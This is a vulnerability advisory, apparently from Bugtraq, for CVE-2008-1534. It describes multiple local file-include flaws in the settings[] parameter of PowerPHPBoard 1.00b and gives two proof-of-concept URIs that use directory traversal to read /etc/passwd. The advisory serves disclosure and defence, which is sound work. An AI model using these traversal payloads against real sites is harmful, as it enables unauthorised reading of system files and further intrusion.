PowerPHPBoard 'settings[]' Parameter Multiple Local File Include Vulnerabilities

Bugtraq ID:	28421
Class:	Input Validation Error
CVE:	CVE-2008-1534
Remote:	Yes
Local:	No
Published:	Mar 24 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	Digital Security Research Group
Vulnerable:	PowerScripts.org PowerPHPBoard 1.00b
Not Vulnerable:

PowerPHPBoard 'settings[]' Parameter Multiple Local File Include Vulnerabilities

PowerPHPBoard is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

PowerPHPBoard 1.00b is vulnerable; other versions may also be affected.

PowerPHPBoard 'settings[]' Parameter Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd
http://www.example.com/[installdir]/header.inc.php?settings[header]=../../../../../../../../../../../../../etc/passwd

PowerPHPBoard 'settings[]' Parameter Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PowerPHPBoard 'settings[]' Parameter Multiple Local File Include Vulnerabilities

References:

• Vendor Homepage (PowerScripts)
  
• [DSECRG-08-021] Multiple LFI in PowerPHPBoard 1.00b (Digital Security Research Group )